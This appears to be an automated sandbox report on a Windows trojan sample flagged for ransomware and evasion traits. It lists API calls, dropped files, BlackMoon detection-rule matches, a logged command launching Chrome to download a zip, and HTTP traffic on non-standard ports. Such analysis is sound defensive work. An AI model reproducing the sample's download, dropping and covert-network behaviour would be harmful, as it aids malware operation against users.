Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B78759 NtQuerySystemInformation,	0_2_02B78759
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B986AA NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,LocalFree,LocalFree,LookupAccountSidA,LookupAccountSidA,LocalFree,LocalFree,	0_2_02B986AA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B78B98 NtClose,	0_2_02B78B98

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_00E365A0	0_2_00E365A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B22280	0_2_02B22280
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B09623	0_2_02B09623
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0AE17	0_2_02B0AE17
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0BE7F	0_2_02B0BE7F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B09FB4	0_2_02B09FB4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B154F4	0_2_02B154F4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0B8E7	0_2_02B0B8E7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0A45A	0_2_02B0A45A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B099EF	0_2_02B099EF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB03AF	0_2_02BB03AF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BCE316	0_2_02BCE316
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BDA066	0_2_02BDA066
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BDC786	0_2_02BDC786
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BF8737	0_2_02BF8737
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BE2766	0_2_02BE2766
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B8C4BE	0_2_02B8C4BE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BAEBB0	0_2_02BAEBB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BDC9B6	0_2_02BDC9B6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BCCE19	0_2_02BCCE19
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB0E7F	0_2_02BB0E7F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BAEF87	0_2_02BAEF87
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BC9206	0_2_02BC9206
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BED436	0_2_02BED436
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BB1417	0_2_02BB1417
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BAF54C	0_2_02BAF54C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BF3AD6	0_2_02BF3AD6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BAF9F2	0_2_02BAF9F2
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BCB9C6	0_2_02BCB9C6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BF3F84	0_2_02BF3F84
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BCDF06	0_2_02BCDF06
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B89C8C	0_2_02B89C8C

Source: Joe Sandbox View

Dropped File: C:\ClinkAPI.dll 92CAEE29C4861977C2C23911D0F1BC85AE2A4D17FE20E30A2498AC7E74D3C2B8

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: String function: 02BE8B16 appears 34 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: String function: 02BB447B appears 34 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: String function: 02BB4481 appears 220 times

Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Binary or memory string: OriginalFilename vs SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUnrar.dllD vs SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUnrar.dllD vs SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUnrar.dllD vs SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe
Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUnrar.dllD vs SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 0.3.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2dc8e42.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 2.3. [ ].exe.2ffee3e.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2dc7e3e.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 0.3.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2e93e3e.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 2.3. [ ].exe.665ea90.11.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 2.3. [ ].exe.644ea90.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2bc6e16.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 2.3. [ ].exe.665a1f0.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2b70000.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 2.3. [ ].exe.643f26c.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe.2b70000.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 2.3. [ ].exe.2f31e42.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 2.3. [ ].exe.664f26c.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 2.3. [ ].exe.644a1f0.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 2.3. [ ].exe.5c3826c.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 2.3. [ ].exe.5c47a90.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 2.3. [ ].exe.5c431f0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime

Source: classification engine

Classification label: mal88.rans.troj.evad.winEXE@24/16@7/18

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Code function: 0_2_02B82C9A GetDiskFreeSpaceExA,

0_2_02B82C9A

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Code function: 0_2_02B7A26E CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,Process32Next,CloseHandle,

0_2_02B7A26E

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Code function: 0_2_02B80196 CoInitialize,CoCreateInstance,LocalAlloc,LocalAlloc,RtlMoveMemory,LocalFree,LocalFree,CoUninitialize,

0_2_02B80196

Source: C:\Users\user\Desktop\ [ ].exe

File created: C:\Users\user\AppData\Roaming\awsip

Jump to behavior

Source: C:\Users\user\Desktop\ [ ].exe

File created: C:\Users\user\AppData\Local\Temp\2QQdaM2Nxw.bak

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

ReversingLabs: Detection: 52%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Process created: C:\Users\user\Desktop\ [ ].exe "C:\Users\user\Desktop\ [ ].exe"
Source: C:\Users\user\Desktop\ [ ].exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://dl.360safe.com/360c0mpkill5.1.64.1238-0809.zip
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=2044,i,3045292741870776026,11187403840259620879,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Process created: C:\Users\user\Desktop\ [ ].exe "C:\Users\user\Desktop\ [ ].exe"	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://dl.360safe.com/360c0mpkill5.1.64.1238-0809.zip	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=2044,i,3045292741870776026,11187403840259620879,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\ [ ].exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior

Source: C:\Users\user\Desktop\ [ ].exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00021401-0000-0000-C000-000000000046}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Static file information: File size 13843291 > 1048576

Source:	Binary string: \x64\Release\Infinity.pdb source: [ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\s\sys\x64\Release\ProcExpDriver.pdb source: [ ].exe, 00000002.00000003.2242227980.000000000651A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2242084553.000000000630A000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2241835437.0000000005B03000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\unrardll32\Release\UnRAR.pdb source: SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107192469.0000000002B70000.00000040.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079061753.0000000002D72000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000003.2079129605.0000000002E3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe, 00000000.00000002.2107364971.0000000002D71000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096343175.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, [ ].exe, 00000002.00000003.2096467294.0000000002FA8000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe

Code function: 0_2_02B1376F LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_02B1376F

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B13740 push eax; ret	0_2_02B1376E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B06CBA push 0000006Ah; retf	0_2_02B06D93
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B184A6 push cs; iretd	0_2_02B184AE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B0119D push ebx; iretd	0_2_02B0119E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B06D22 push 0000006Ah; retf	0_2_02B06D93
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B06D24 push 0000006Ah; retf	0_2_02B06D93
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BAAED9 push 0000006Ah; retf	0_2_02BAAF48
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BAAED7 push 0000006Ah; retf	0_2_02BAAF48
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BAAE6F push 0000006Ah; retf	0_2_02BAAF48
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B98F8C push E8000001h; retf	0_2_02B98F91
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B71787 push edx; ret	0_2_02B717B1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02BE9B0C push ecx; ret	0_2_02BE9B1F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.23947.21328.exe	Code function: 0_2_02B83E35 push 00000000h; mov dword ptr [esp], eax	0_2_02B83E37

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\Desktop\ [ ].exe	File created: \ [ ].exe
Source: C:\Users\user\Desktop\ [ ].exe	File created: \ [ ].exe			Jump to behavior

Source: C:\Users\user\Desktop\ [ ].exe

File created: C:\ClinkAPI.dll

Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 1010
Source: unknown	Network traffic detected: HTTP traffic on port 1010 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 9889
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 9889
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 9889
